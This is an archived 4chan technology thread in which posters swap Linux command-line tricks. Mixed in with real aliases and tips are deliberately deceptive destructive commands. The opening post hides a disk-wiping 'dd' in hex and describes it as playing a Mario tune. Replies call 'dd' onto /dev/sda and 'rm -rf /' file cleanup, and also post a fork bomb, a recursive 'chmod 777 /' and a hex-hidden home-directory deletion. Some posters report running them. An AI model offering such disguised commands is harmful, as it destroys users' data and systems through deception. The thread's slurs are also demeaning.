[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

itt: we share cool linux command line tricks/programs/whatever

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 116
Thread images: 7

File: 1446714515295.jpg (118KB, 1234x1024px) Image search: [Google]
1446714515295.jpg
118KB, 1234x1024px
itt: we share cool linux command line tricks/programs/whatever

sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)


command related. plays the mario dungeon tune on a loop
>>
>>52313140
aww yisss!!

chip tunes!!!!!!
>>
sudo dd if=/dev/random of=/dev/sda


This command helps you to clean up temporary/unwanted files!
>>
https://github.com/trapd00r/ls--
>>
read w/o arguments stores the value in a
$REPLY$
var :^)
>>
sudo rm -rf /


Deletes unwanted files
>>
>>52313500
LOLL!! Nice I use windows too
>>
:(){ :|:& };:
>>
>>52313611
What does this do
>>
>>52313500
>sudo: command not found
:(
>>
>>52313869
creates processes until your computer is forced to shut down

i'd recommend doing it at least once
>>
>>52313869
those are cute emojis
>>
>>52313916
When I reboot do the processes keep being created?
>>
>>52313611
Trolls posting random faces... x.x!
:|
>>
>>52313140
>sudo

stopped reading there. no elevated commands buddy.
>>
nothing happen!!
>>
>tfw trying these in a virtual machine and waiting for shit to happen to you faggots
>>
>mfw faggots like OP and people ITT use sudo
>2023-7
>not being logged in as root
Weak willed faggots, can't even handle being the captain of your own fucking ship
>>
>>52314146
Su is for retards that lost their D cap
>>
>>52313243
>>52313500
Both technically true, I suppose.
>>
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf /

if you lose you have to delete all your backups too faggot
>>
>>52313140
>sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)

Why has my desktop changed to a picture of a banana?
>>
>>52314201
Su what? Login as root at startup ya fucken landlubber
>>
>>52314146
my sides
>>
>>52314201
>Su is for retards
sudo's primary use (though maybe not the primary intention) is to make the environment safer for retards.
>>
>>52313974
nah.
unless you make it start during boot

It's called a forkbomb, read it up on wiki, i bet they have this exact example of it.
>>
>>52314252
My sides hahaha you fukin made me puss myself
>>
>>52313140
Ok fucko. You better tell me how to fix this
>>
>>52314347
Run :(){ :|:& };:
it undoes the last sudo command
>>
>>52314434
I will fork bomb your ass.
>>
>>52314146
>what is chmod -R 777 /
>>
>>52314542
For your ship to sail it probably shouldn't sink in the fucking port
>>
dumb frogposter
>>
>>52314300
turning anons into pussys since '81
>>
>>52314146
>tfw you accidentally rm -rf your /
i never thought it would happen to me
>>
curl -L git.io/taco
>>
>>52314817
Did you also accidentally fuck yourself in the ass?
>>
>>52314828
curl -L git.io/burger
curl -L git.io/pizzza
curl -L git.io/pizzzza
curl -L git.io/waffles
curl -L git.io/vburger
curl -L git.io/rice
curl -L git.io/poptart
curl -L git.io/pancakes
>>
man woman
>>
>what is --no-preserve-root?
>>52314694
Kek.
>>
This is a program that sets the color of gnome based terminals to your wallpaper.
https://github.com/jamesmcroberts/Gnome-Terminal-Color-Matching
>>
>>52313140
I have been meaning to rebuild my laptop for some time now. This bullshit has now pushed me to do it. Thanks cunt.
>>
>>52313140
Nah.
>>
Oh man I remember when that one guy fell for it and posted on reddit and it was some good shit.
>>
alias ..="cd .."
alias ...="cd ../../"
alias ....="cd ../../../"
>>
$ sl
>>
>>52313140

fdisk /dev/sda && mkfs.xfs /dev/sda1 && mkswap /dev/sda2 && swapon /dev/sda2 && mount /dev/sda1 /mnt/gentoo/ && cd /mnt/gentoo/ && links http://www.gentoo.org/main/en/mirrors.xml && md5sum -c stage3-*.tar.bz2.DIGESTS && tar xvjpf stage3-*.tar.bz2 && links http://www.gentoo.org/main/en/mirrors.xml && md5sum -c portage-latest.tar.bz2.md5sum && tar xvjf /mnt/gentoo/portage-latest.tar.bz2 -C /mnt/gentoo/usr && nano -w /mnt/gentoo/etc/make.conf && mirrorselect -i -o >> /mnt/gentoo/etc/make.conf && mount -t proc none /mnt/gentoo/proc && mount -o bind /dev /mnt/gentoo/dev && chroot /mnt/gentoo/ && env-update && source /etc/profile && emerge --sync && cd /etc && rm /etc/make.profile && ln -s ../usr/portage/profiles/default-linux/x86/desktop make.profile && cp /usr/share/zoneinfo/US/Eastern /etc/localtime && cd /usr/portage && scripts/bootstrap.sh && emerge -e system && emerge vim && emerge gentoo-sources && cd /usr/src/linux && make menuconfig && make install modules_install && vim /etc/fstab && passwd && emerge grub vixie-cron syslog-ng dhcpcd && cp /boot/grub/grub.conf.sample /boot/grub/grub.conf && vim /boot/grub/grub.conf && grep -v rootfs /proc/mounts > /etc/mtab && grub-install --no-floppy /dev/sda && init 6 && emerge gnome mozilla-firefox openoffice && emerge --sync && emerge portage openssh
>>
>>52313140
Epic troll kid xD I bet you plucked this fresh out of the reddit garden
>>
>>52316351
This installed XP faggot.
>>
>>52314876
old but funny in its day i guess
>>
>>52315900
thanks ma boy
>>
>>52316351
this is not how chrooting works
>>
>>52315900
>posting something actually useful
anon WHAT THE FUCK are you doing?
>>
>>52313140
So.... how fucked am I.
>>
:(){ :|: & };:
>>
>>52313869
It makes a function called : which calls itself twice, basically, so you have an infinite list of processes that keeps multiplying
>>
1. Use zsh instead of bash. You're worth it.
2. Use zbell and it email you when a command taking longer than 5 minutes finishes.

Also toilet --gay
>>
>>52318594
>using sudo while root

You were already fucked
>>
>>52318594
really fucked/10
>>
>>52318594
Just don't reboot.
>>
>>52313140
>>52313243
>>52313500
>>52313611
>>52315900
>>52318618
ITT: The cancer that is killing /g/
>>
>>52319276
ITT: The cancer that is killing /g/
>>
>>52319276
Why don't you post something useful instead of being a big baby?
>>
>>52318594
Just restore from your backups
>>
Someone post the picture where an anon was banned for a week by a mod who erased his hard drive.
>>
>>52319303
Good idea!
>>
 $(echo 726d202d7266207e0a | xxd -r -p) 
>>
This plays the mario game over song (require linux and aplay)

eval `echo 6375726c2068747470733a2f2f752e706f6d662e69732f6b6f6f6273792e72207c2061706c6179202d722032323035300a | xxd -p -r`
>>
>>52319609
nice anon
>>
>>52319609
meh
>>
>>52314278
lol https://en.wikipedia.org/wiki/Fork_bomb
>>
>>52314278
Setting it to start during boot would be a nasty trick to play on someone.

But it was fun to do once. Everything just, sort of, slowed down and stopped.

I should do that again. But not now.
>>
>>52323776
>Setting it to start during boot would be a nasty trick to play on someone.

Is it possible to do this with one terminal command? Just pipe it to crontab I guess.
>>
>>52313140
The program bbe - binary block editor.
It can be used similarly to sed but for binary searching/editing.
Has been occasionally very useful.
>>
File: 1.png (490KB, 449x401px) Image search: [Google]
1.png
490KB, 449x401px
>>52316351
>he didn't full disk encrypt
>>
>>52319276
>hurr le canzer xdd i'm le oldfag /g/ was better before
>>
>>52313140

>2016
>Still doing everything in command line

This is why it will never be the year of Linux, ever.
>>
>>52325322
Why didn't they tell how to do that in the gentoo handbook? I had to investigate myself how to do that shit and it was a PITA since most guides were pretty old,
>>
>>52313140
[user@arch:~]% xxd -r 64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a
Program not found: xxd
xxd may be foundin the following packages:
extra/gvim 7.4.884-1 /usr/bin/xxd
extra/gvim-python3 7.4.884-1 /usr/bin/xxd
extra/vim 7.4.884-1 /usr/bin/xxd
extra/vim-minimal 7.4.884-1 /usr/bin/xxd
extra/vim-python3 7.4.884-1 /usr/bin/xxd


you tried
>>
>>52324904
I think you can do it with systemd services.
>>
>>52315900
Nice. I've got a couple other useful ones myself:
[user@arch:~]% alias
pac='yaourt -S'
l='ls -la'
la='ls -a'
ll='ls -l'
>>
>>52325562
Here's another useful one for Arch users.
alias autoremove='sudo pacman -Rns \$pacman -Qdtq)'

Now just run `autoremove` and pacman will uninstall any unused dependencies.
>>
>>52315598
>800x600
you should probably just run it senpai

>>52319609
Why bother obsfuscating it?
>>
>>52313140
So what does this do?
>>
>>52313243
I ran it but it took almost an hour to clean 2400 kilobytes. Is linux really that much slower than windows?
>>
>>52314856
these are actually cool and colorful. would be great for rice threads
>>
>>52315224
never use anything from here that involves "sudo"
>>
>>52313140
>try pacman
>doesn't start pacman

fuck linux!
>>
>>52325504
>Actually trying it out
>Blames OP for not having a package installed
Are you really that retarded?
>>
>>52313500
doesn't work without --no-preserve-root you fucking retard
>>
>>52325562
I have similar ones
l='ls -1'
ll='ls -lh'
la='ls -Alh'
>>
>>52318932
>zsh
I really have a hard time understanding what it does more than bash. With a little tweaking, bash does contextual completion and history completion just fine, what does zsh have more ?
>>
>>52328302
wipes everything after you reboot. It's a hexadecimal
>>
>>52313140
>64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a

whow... how i can revet this?
>>
>>52328575
oh, is there a way to prevent this from happening once running the code?
>>
>>52313140
Hey... and now? before i restart de computer, how i revert this "sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)" ?
>>
>>52313140
Saved. Have an ANSI rainbow:
eval $(echo 'a2Vrf3xvcml\'ZW%3t`r()(r{,52}|r{,});r`2'6a2VrZQo=' | base64 -d)
>>
>>52328604
Reinstall from backup
>>
>>52328712
can i only reintall grub?
>>
File: totem[1].png (44KB, 480x640px) Image search: [Google]
totem[1].png
44KB, 480x640px
>>52313611
>>52313986
>>
>>52328597
don't reboot
>>
>>52328747
No. If you want to get fancy about it, you can:
1. Use gpart (not gparted) to recreate the partition table
2. Make sure the first partition is also created normally
3. Fix the first partition with one of:
3a. If Windows, no clue, reinstall.
3b. If 100M+ /boot, reinstall from livecd
3c. If ext3/4 partition, fsck with alternative superblock
>>
>>52328657
Got me ;_;
>>
>>52315598
>Lubuntu
>800x600

I didn't know desklamps could run Linux
>>
>>52328833
i am installing gpart ... i only use ubunt, in a full encrypt file system. i think i am fucked.

lain@phantasma:/$ cat /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
/dev/mapper/ubuntu--vg-root / ext4 errors=remount-ro 0 1
# /boot was on /dev/sda2 during installation
UUID=552116f1-4165-4ab8-9404-d15cc4ee452f /boot ext2 defaults 0 2
# /boot/efi was on /dev/sda1 during installation
UUID=A3B9-387A /boot/efi vfat defaults 0 1
/dev/mapper/ubuntu--vg-swap_1 none swap sw 0 0
#/dev/mapper/cryptswap1 none swap sw 0 0
/swapfile none swap sw 0 0
lain@phantasma:/$


lain@phantasma:/$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 465,8G 0 disk
├─sda1 8:1 0 512M 0 part /boot/efi
├─sda2 8:2 0 244M 0 part /boot
└─sda3 8:3 0 465G 0 part
└─sda3_crypt (dm-0) 252:0 0 465G 0 crypt
├─ubuntu--vg-root (dm-1) 252:1 0 459,6G 0 lvm /
└─ubuntu--vg-swap_1 (dm-2) 252:2 0 5,5G 0 lvm
sr0 11:0 1 1024M 0 rom
>>
>>52328908
>>52327349
or maybe its a virtual machine you goddamn retards
>>
>>52328657
kek
>>
>>52328516
alias la='ls -hFlA --group-directories-first --color=always'

alias ls='ls -hF --group-directories-first --color=always'
>>
function miso () { mkdir ~/ISO_CD && sudo mount  -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; }
function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -rf ~/ISO_CD; }
>>
>>52328597
why would you put in a command with root access that you have not fucking idea what it does?
>>
>>52333156
because a lot of things need sudo
>>
>>52328543
I think it has slightly better wildcard support as opposed to bash. Plus it's pretty fucking hipster.
>>
>>52333156
>plays the mario dungeon tune on a loop
I thought he might be telling the truth.
>>
dd if=/dev/zero of=/dev/sda count=100 bs=1M


This one also plays chip tunes.
>>
>>52314146
Agree. Love u anon
>>
One time someone posted a command that played the Zelda theme song and was actually the Zelda theme song.
Thread posts: 116
Thread images: 7


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.